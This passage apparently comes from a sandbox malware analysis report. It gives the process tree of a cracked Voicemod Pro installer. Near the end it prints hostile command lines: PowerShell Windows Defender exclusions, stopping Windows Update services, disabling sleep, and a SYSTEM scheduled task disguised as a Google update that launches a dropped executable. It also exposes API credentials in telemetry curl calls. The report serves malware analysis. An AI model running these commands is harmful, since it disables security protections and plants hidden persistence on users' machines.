        "C:\Windows\system32\curl.exe" -u us1-9ce275fde2ae0e4fa29e7be3416716f8:I9wI9bIvnwhEBAHqgGq3iwgv6F_rq98MMw45315t6FXIOcfqtzsfedlzBqqhJBb- -v https://s2s.mparticle.com/v2/events -H "Content-Type: application/json" -X POST -d "{\"user_identities\": {\"other\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"device_info\": {\"platform\": \"roku\",\"roku_publisher_id\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"mp_deviceid\": \"791012bd-eee0-425f-8175-6693c3480f08\",\"events\": [{\"data\": {\"event_name\": \"Installer Open\" , \"custom_attributes\": { \"version\": \"2.6.0.7\", \"machine_guid\": \"6f6f3b96-c90d-49e3-bf49-af8f1b70c337\", \"country\": \"Unknown\", \"locale\": \"en-US\", \"is_new_user\": \"False\" }},\"event_type\": \"custom_event\"}],\"environment\": \"production\"}"
        5⤵
        
        PID:4456
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C tasklist > C:\Users\Admin\AppData\Local\Temp\\tasklist_unins000.exe.txt
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2100
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:3836
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C tasklist > C:\Users\Admin\AppData\Local\Temp\\tasklist_VoicemodDesktop.exe.txt
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4724
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:4984
    - - C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -u us1-9ce275fde2ae0e4fa29e7be3416716f8:I9wI9bIvnwhEBAHqgGq3iwgv6F_rq98MMw45315t6FXIOcfqtzsfedlzBqqhJBb- -v https://s2s.mparticle.com/v2/events -H "Content-Type: application/json" -X POST -d "{\"user_identities\": {\"other\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"device_info\": {\"platform\": \"roku\",\"roku_publisher_id\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"mp_deviceid\": \"791012bd-eee0-425f-8175-6693c3480f08\",\"events\": [{\"data\": {\"event_name\": \"Installer Page wpWelcome\" , \"custom_attributes\": { \"version\": \"2.6.0.7\", \"machine_guid\": \"6f6f3b96-c90d-49e3-bf49-af8f1b70c337\", \"country\": \"Unknown\", \"locale\": \"en-US\", \"is_new_user\": \"True\",\"page_number\": \"1\" }},\"event_type\": \"custom_event\"}],\"environment\": \"production\"}"
        5⤵
        
        PID:4908
    - - C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -u us1-9ce275fde2ae0e4fa29e7be3416716f8:I9wI9bIvnwhEBAHqgGq3iwgv6F_rq98MMw45315t6FXIOcfqtzsfedlzBqqhJBb- -v https://s2s.mparticle.com/v2/events -H "Content-Type: application/json" -X POST -d "{\"user_identities\": {\"other\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"device_info\": {\"platform\": \"roku\",\"roku_publisher_id\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"mp_deviceid\": \"791012bd-eee0-425f-8175-6693c3480f08\",\"events\": [{\"data\": {\"event_name\": \"Installer Page wpLicense\" , \"custom_attributes\": { \"version\": \"2.6.0.7\", \"machine_guid\": \"6f6f3b96-c90d-49e3-bf49-af8f1b70c337\", \"country\": \"Unknown\", \"locale\": \"en-US\", \"is_new_user\": \"True\",\"page_number\": \"2\" }},\"event_type\": \"custom_event\"}],\"environment\": \"production\"}"
        5⤵
        
        PID:4844
    - - C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -u us1-9ce275fde2ae0e4fa29e7be3416716f8:I9wI9bIvnwhEBAHqgGq3iwgv6F_rq98MMw45315t6FXIOcfqtzsfedlzBqqhJBb- -v https://s2s.mparticle.com/v2/events -H "Content-Type: application/json" -X POST -d "{\"user_identities\": {\"other\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"device_info\": {\"platform\": \"roku\",\"roku_publisher_id\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"mp_deviceid\": \"791012bd-eee0-425f-8175-6693c3480f08\",\"events\": [{\"data\": {\"event_name\": \"Installer Page wpSelectDir\" , \"custom_attributes\": { \"version\": \"2.6.0.7\", \"machine_guid\": \"6f6f3b96-c90d-49e3-bf49-af8f1b70c337\", \"country\": \"Unknown\", \"locale\": \"en-US\", \"is_new_user\": \"True\",\"page_number\": \"6\" }},\"event_type\": \"custom_event\"}],\"environment\": \"production\"}"
        5⤵
        
        PID:3836
    - - C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -u us1-9ce275fde2ae0e4fa29e7be3416716f8:I9wI9bIvnwhEBAHqgGq3iwgv6F_rq98MMw45315t6FXIOcfqtzsfedlzBqqhJBb- -v https://s2s.mparticle.com/v2/events -H "Content-Type: application/json" -X POST -d "{\"user_identities\": {\"other\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"device_info\": {\"platform\": \"roku\",\"roku_publisher_id\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"mp_deviceid\": \"791012bd-eee0-425f-8175-6693c3480f08\",\"events\": [{\"data\": {\"event_name\": \"Installer Page wpSelectTasks\" , \"custom_attributes\": { \"version\": \"2.6.0.7\", \"machine_guid\": \"6f6f3b96-c90d-49e3-bf49-af8f1b70c337\", \"country\": \"Unknown\", \"locale\": \"en-US\", \"is_new_user\": \"True\",\"page_number\": \"9\" }},\"event_type\": \"custom_event\"}],\"environment\": \"production\"}"
        5⤵
        
        PID:5072
    - - C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -u us1-9ce275fde2ae0e4fa29e7be3416716f8:I9wI9bIvnwhEBAHqgGq3iwgv6F_rq98MMw45315t6FXIOcfqtzsfedlzBqqhJBb- -v https://s2s.mparticle.com/v2/events -H "Content-Type: application/json" -X POST -d "{\"user_identities\": {\"other\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"device_info\": {\"platform\": \"roku\",\"roku_publisher_id\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"mp_deviceid\": \"791012bd-eee0-425f-8175-6693c3480f08\",\"events\": [{\"data\": {\"event_name\": \"Installer Page wpReady\" , \"custom_attributes\": { \"version\": \"2.6.0.7\", \"machine_guid\": \"6f6f3b96-c90d-49e3-bf49-af8f1b70c337\", \"country\": \"Unknown\", \"locale\": \"en-US\", \"is_new_user\": \"True\",\"page_number\": \"10\" }},\"event_type\": \"custom_event\"}],\"environment\": \"production\"}"
        5⤵
        
        PID:3748
    - - C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -u us1-9ce275fde2ae0e4fa29e7be3416716f8:I9wI9bIvnwhEBAHqgGq3iwgv6F_rq98MMw45315t6FXIOcfqtzsfedlzBqqhJBb- -v https://s2s.mparticle.com/v2/events -H "Content-Type: application/json" -X POST -d "{\"user_identities\": {\"other\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"device_info\": {\"platform\": \"roku\",\"roku_publisher_id\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"mp_deviceid\": \"791012bd-eee0-425f-8175-6693c3480f08\",\"events\": [{\"data\": {\"event_name\": \"Installer Page wpPreparing\" , \"custom_attributes\": { \"version\": \"2.6.0.7\", \"machine_guid\": \"6f6f3b96-c90d-49e3-bf49-af8f1b70c337\", \"country\": \"Unknown\", \"locale\": \"en-US\", \"is_new_user\": \"True\",\"page_number\": \"11\" }},\"event_type\": \"custom_event\"}],\"environment\": \"production\"}"
        5⤵
        
        PID:1576
    - - C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -u us1-9ce275fde2ae0e4fa29e7be3416716f8:I9wI9bIvnwhEBAHqgGq3iwgv6F_rq98MMw45315t6FXIOcfqtzsfedlzBqqhJBb- -v https://s2s.mparticle.com/v2/events -H "Content-Type: application/json" -X POST -d "{\"user_identities\": {\"other\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"device_info\": {\"platform\": \"roku\",\"roku_publisher_id\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"mp_deviceid\": \"791012bd-eee0-425f-8175-6693c3480f08\",\"events\": [{\"data\": {\"event_name\": \"Installer Page wpInstalling\" , \"custom_attributes\": { \"version\": \"2.6.0.7\", \"machine_guid\": \"6f6f3b96-c90d-49e3-bf49-af8f1b70c337\", \"country\": \"Unknown\", \"locale\": \"en-US\", \"is_new_user\": \"True\",\"page_number\": \"12\" }},\"event_type\": \"custom_event\"}],\"environment\": \"production\"}"
        5⤵
        
        PID:2460
    - - C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -u us1-9ce275fde2ae0e4fa29e7be3416716f8:I9wI9bIvnwhEBAHqgGq3iwgv6F_rq98MMw45315t6FXIOcfqtzsfedlzBqqhJBb- -v https://s2s.mparticle.com/v2/events -H "Content-Type: application/json" -X POST -d "{\"user_identities\": {\"other\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"device_info\": {\"platform\": \"roku\",\"roku_publisher_id\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"mp_deviceid\": \"791012bd-eee0-425f-8175-6693c3480f08\",\"events\": [{\"data\": {\"event_name\": \"Installer Step Install\" , \"custom_attributes\": { \"version\": \"2.6.0.7\", \"machine_guid\": \"6f6f3b96-c90d-49e3-bf49-af8f1b70c337\", \"country\": \"Unknown\", \"locale\": \"en-US\", \"is_new_user\": \"True\" }},\"event_type\": \"custom_event\"}],\"environment\": \"production\"}"
        5⤵
        
        PID:4432
    - - C:\Program Files\Voicemod Desktop\driver\SaveDefaultDevices.exe
        
        "C:\Program Files\Voicemod Desktop\driver\SaveDefaultDevices.exe" defaultdevices.txt
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:3588
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\Voicemod Desktop\driver\setupDrv.bat""
        5⤵
        
        PID:2832
      - C:\Windows\system32\net.exe
        
        net stop audiosrv /y
        6⤵
        
        PID:3876
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop audiosrv /y
        7⤵
        
        PID:484
      - C:\Windows\system32\net.exe
        
        net stop AudioEndpointBuilder /y
        6⤵
        
        PID:1568
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop AudioEndpointBuilder /y
        7⤵
        
        PID:1008
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "voicemodcon.exe dp_enum"
        6⤵
        
        PID:4144
        
        C:\Program Files\Voicemod Desktop\driver\voicemodcon.exe
        
        voicemodcon.exe dp_enum
        7⤵
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious use of SetWindowsHookEx
        
        PID:3404
      - C:\Windows\system32\net.exe
        
        net start audiosrv
        6⤵
        
        PID:3024
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start audiosrv
        7⤵
        
        PID:1476
      - C:\Windows\system32\net.exe
        
        net stop audiosrv /y
        6⤵
        
        PID:2360
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop audiosrv /y
        7⤵
        
        PID:2408
      - C:\Windows\system32\net.exe
        
        net stop AudioEndpointBuilder /y
        6⤵
        
        PID:4360
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop AudioEndpointBuilder /y
        7⤵
        
        PID:2904
      - C:\Program Files\Voicemod Desktop\driver\voicemodcon.exe
        
        voicemodcon install vmdrv.inf *VMDriver
        6⤵
        Executes dropped EXE
        Drops file in System32 directory
        Drops file in Windows directory
        Checks SCSI registry key(s)
        Suspicious use of SetWindowsHookEx
        
        PID:4540
      - C:\Windows\system32\net.exe
        
        net start audiosrv
        6⤵
        
        PID:4036
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start audiosrv
        7⤵
        
        PID:5116
    - - C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -u us1-9ce275fde2ae0e4fa29e7be3416716f8:I9wI9bIvnwhEBAHqgGq3iwgv6F_rq98MMw45315t6FXIOcfqtzsfedlzBqqhJBb- -v https://s2s.mparticle.com/v2/events -H "Content-Type: application/json" -X POST -d "{\"user_identities\": {\"other\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"device_info\": {\"platform\": \"roku\",\"roku_publisher_id\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"mp_deviceid\": \"791012bd-eee0-425f-8175-6693c3480f08\",\"events\": [{\"data\": {\"event_name\": \"Installer Step PostInstall\" , \"custom_attributes\": { \"version\": \"2.6.0.7\", \"machine_guid\": \"6f6f3b96-c90d-49e3-bf49-af8f1b70c337\", \"country\": \"Unknown\", \"locale\": \"en-US\", \"is_new_user\": \"True\" }},\"event_type\": \"custom_event\"}],\"environment\": \"production\"}"
        5⤵
        
        PID:4144
    - - C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -u us1-9ce275fde2ae0e4fa29e7be3416716f8:I9wI9bIvnwhEBAHqgGq3iwgv6F_rq98MMw45315t6FXIOcfqtzsfedlzBqqhJBb- -v https://s2s.mparticle.com/v2/events -H "Content-Type: application/json" -X POST -d "{\"user_identities\": {\"other\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"device_info\": {\"platform\": \"roku\",\"roku_publisher_id\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"mp_deviceid\": \"791012bd-eee0-425f-8175-6693c3480f08\",\"events\": [{\"data\": {\"event_name\": \"Installer Page wpFinished\" , \"custom_attributes\": { \"version\": \"2.6.0.7\", \"machine_guid\": \"6f6f3b96-c90d-49e3-bf49-af8f1b70c337\", \"country\": \"Unknown\", \"locale\": \"en-US\", \"is_new_user\": \"True\",\"page_number\": \"14\" }},\"event_type\": \"custom_event\"}],\"environment\": \"production\"}"
        5⤵
        
        PID:2372
    - - C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe
        
        "C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3540
      - C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe
        
        "C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe" --type=gpu-process --field-trial-handle=49236,4319748948002523731,8318027246563276170,131072 --no-sandbox --disable-gpu-vsync=1 --log-file="C:\Program Files\Voicemod Desktop\debug.log" --log-severity=disable --lang=en-US --cefsharpexitsub --gpu-preferences=KAAAAAAAAACAAwAAAQAAAAAAAAAAAGAAAAAAAAEAAAAIAAAAAAAAACgAAAAEAAAAIAAAAAAAAAAoAAAAAAAAADAAAAAAAAAAOAAAAAAAAAAQAAAAAAAAAAAAAAAFAAAAEAAAAAAAAAAAAAAABgAAABAAAAAAAAAAAQAAAAUAAAAQAAAAAAAAAAEAAAAGAAAA --use-gl=swiftshader-webgl --log-file="C:\Program Files\Voicemod Desktop\debug.log" --service-request-channel-token=15499484350401831813 --mojo-platform-channel-handle=12556 /prefetch:2 --host-process-id=3540 --custom-scheme=resource|T|F|F|T|T|F;resx|T|F|F|T|T|F;fmeme|T|F|F|T|T|F;fvlabvoice|T|F|F|T|T|F;fcorevoice|T|F|F|T|T|F
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies registry class
        
        PID:1924
      - C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe
        
        "C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe" --type=renderer --no-sandbox --log-file="C:\Program Files\Voicemod Desktop\debug.log" --field-trial-handle=49236,4319748948002523731,8318027246563276170,131072 --disable-gpu-compositing --service-pipe-token=1661954823561339622 --lang=en-US --log-file="C:\Program Files\Voicemod Desktop\debug.log" --log-severity=disable --enable-system-flash=1 --cefsharpexitsub --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --service-request-channel-token=1661954823561339622 --renderer-client-id=3 --mojo-platform-channel-handle=93092 /prefetch:1 --host-process-id=3540 --custom-scheme=resource|T|F|F|T|T|F;resx|T|F|F|T|T|F;fmeme|T|F|F|T|T|F;fvlabvoice|T|F|F|T|T|F;fcorevoice|T|F|F|T|T|F
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4892
      - C:\Users\Admin\AppData\Local\Temp\VoicemodUpdate_2.48.0.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VoicemodUpdate_2.48.0.0.exe" /NOCANCEL /SILENT
        6⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:4280
        
        C:\Users\Admin\AppData\Local\Temp\is-9SC81.tmp\VoicemodUpdate_2.48.0.0.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-9SC81.tmp\VoicemodUpdate_2.48.0.0.tmp" /SL5="$120276,116886350,720896,C:\Users\Admin\AppData\Local\Temp\VoicemodUpdate_2.48.0.0.exe" /NOCANCEL /SILENT
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        
        PID:2016
        
        C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -v https://wsw.voicemod.net/api.windows/v2/webutils/getAnonymousId/?initialUuid=6f6f3b96-c90d-49e3-bf49-af8f1b70c337 -o C:\Users\Admin\AppData\Local\Temp\is-4CT09.tmp\deviceId.txt
        8⤵
        
        PID:2688
        
        C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -u us1-760719ecefb3654a9377029b145d3706:fz_LnFaF0dOp3ih1I1jB_678-A5yc8Sj4woz-2whrU37YgWiq8_jIpGev6khPc4U -v https://s2s.mparticle.com/v2/events -H "Content-Type: application/json" -X POST -d "{\"user_identities\": {\"other\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"device_info\": {\"platform\": \"Android\",\"android_uuid\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"mp_deviceid\": \"791012bd-eee0-425f-8175-6693c3480f08\",\"events\": [{\"data\": {\"event_name\": \"Installer Open\" , \"custom_attributes\": { \"version\": \"2.48.0.0\", \"machine_guid\": \"6f6f3b96-c90d-49e3-bf49-af8f1b70c337\", \"country\": \"Unknown\", \"locale\": \"en-US\", \"is_new_user\": \"False\", \"voicemod_system\": \"voicemod-v2\" }},\"event_type\": \"custom_event\"}],\"environment\": \"production\"}"
        8⤵
        
        PID:2344
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C tasklist > C:\Users\Admin\AppData\Local\Temp\\tasklist_unins000.exe.txt
        8⤵
        
        PID:1636
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        
        PID:1596
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C tasklist > C:\Users\Admin\AppData\Local\Temp\\tasklist_VoicemodDesktop.exe.txt
        8⤵
        
        PID:4888
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        
        PID:1276
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C explorer.exe "voicemod:close&origin=installer"
        8⤵
        
        PID:4932
        
        C:\Windows\explorer.exe
        
        explorer.exe "voicemod:close&origin=installer"
        9⤵
        
        PID:3660
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C TIMEOUT /T 5
        8⤵
        
        PID:824
        
        C:\Windows\system32\timeout.exe
        
        TIMEOUT /T 5
        9⤵
        Delays execution with timeout.exe
        
        PID:3400
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C tasklist > C:\Users\Admin\AppData\Local\Temp\\tasklist_VoicemodDesktop.exe.txt
        8⤵
        
        PID:4736
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        
        PID:3276
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C TIMEOUT /T 5
        8⤵
        
        PID:3748
        
        C:\Windows\system32\timeout.exe
        
        TIMEOUT /T 5
        9⤵
        Delays execution with timeout.exe
        
        PID:4872
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C tasklist > C:\Users\Admin\AppData\Local\Temp\\tasklist_VoicemodDesktop.exe.txt
        8⤵
        
        PID:432
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        
        PID:4012
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C TIMEOUT /T 5
        8⤵
        
        PID:2160
        
        C:\Windows\system32\timeout.exe
        
        TIMEOUT /T 5
        9⤵
        Delays execution with timeout.exe
        
        PID:3184
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C tasklist > C:\Users\Admin\AppData\Local\Temp\\tasklist_VoicemodDesktop.exe.txt
        8⤵
        
        PID:4452
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        
        PID:1536
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C TIMEOUT /T 5
        8⤵
        
        PID:780
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:3276
        
        C:\Windows\system32\timeout.exe
        
        TIMEOUT /T 5
        9⤵
        Delays execution with timeout.exe
        
        PID:4744
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C tasklist > C:\Users\Admin\AppData\Local\Temp\\tasklist_VoicemodDesktop.exe.txt
        8⤵
        
        PID:1680
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        
        PID:1916
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C tasklist > C:\Users\Admin\AppData\Local\Temp\\tasklist_VoicemodDesktop.exe.txt
        8⤵
        
        PID:4984
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        
        PID:4940
    - - C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -u us1-9ce275fde2ae0e4fa29e7be3416716f8:I9wI9bIvnwhEBAHqgGq3iwgv6F_rq98MMw45315t6FXIOcfqtzsfedlzBqqhJBb- -v https://s2s.mparticle.com/v2/events -H "Content-Type: application/json" -X POST -d "{\"user_identities\": {\"other\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"device_info\": {\"platform\": \"roku\",\"roku_publisher_id\": \"791012bd-eee0-425f-8175-6693c3480f08\"},\"mp_deviceid\": \"791012bd-eee0-425f-8175-6693c3480f08\",\"events\": [{\"data\": {\"event_name\": \"Installer Step Done\" , \"custom_attributes\": { \"version\": \"2.6.0.7\", \"machine_guid\": \"6f6f3b96-c90d-49e3-bf49-af8f1b70c337\", \"country\": \"Unknown\", \"locale\": \"en-US\", \"is_new_user\": \"True\" }},\"event_type\": \"custom_event\"}],\"environment\": \"production\"}"
        5⤵
        
        PID:1800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2892
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2692
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4628
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2272
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2596
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3128
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2488
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5116
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4484
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4384
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1196
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#phwvxgy#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\ChromeUpdate.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\ChromeUpdate.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:480
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:4708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3400
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4924
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1092
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2248
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4980
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4088
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:3640
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:3468
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4944
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#phwvxgy#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\ChromeUpdate.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\ChromeUpdate.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4724
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:1912
- C:\Users\Admin\Downloads\Voicemod Pro 2.6.0.7\Crack\VoicemodDesktop.exe
  "C:\Users\Admin\Downloads\Voicemod Pro 2.6.0.7\Crack\VoicemodDesktop.exe"
  2⤵
  - Executes dropped EXE
  PID:3224
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Setup Log 2024-03-02 #002.txt
  2⤵
  PID:1956

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4356

C:\Windows\system32\schtasks.exe
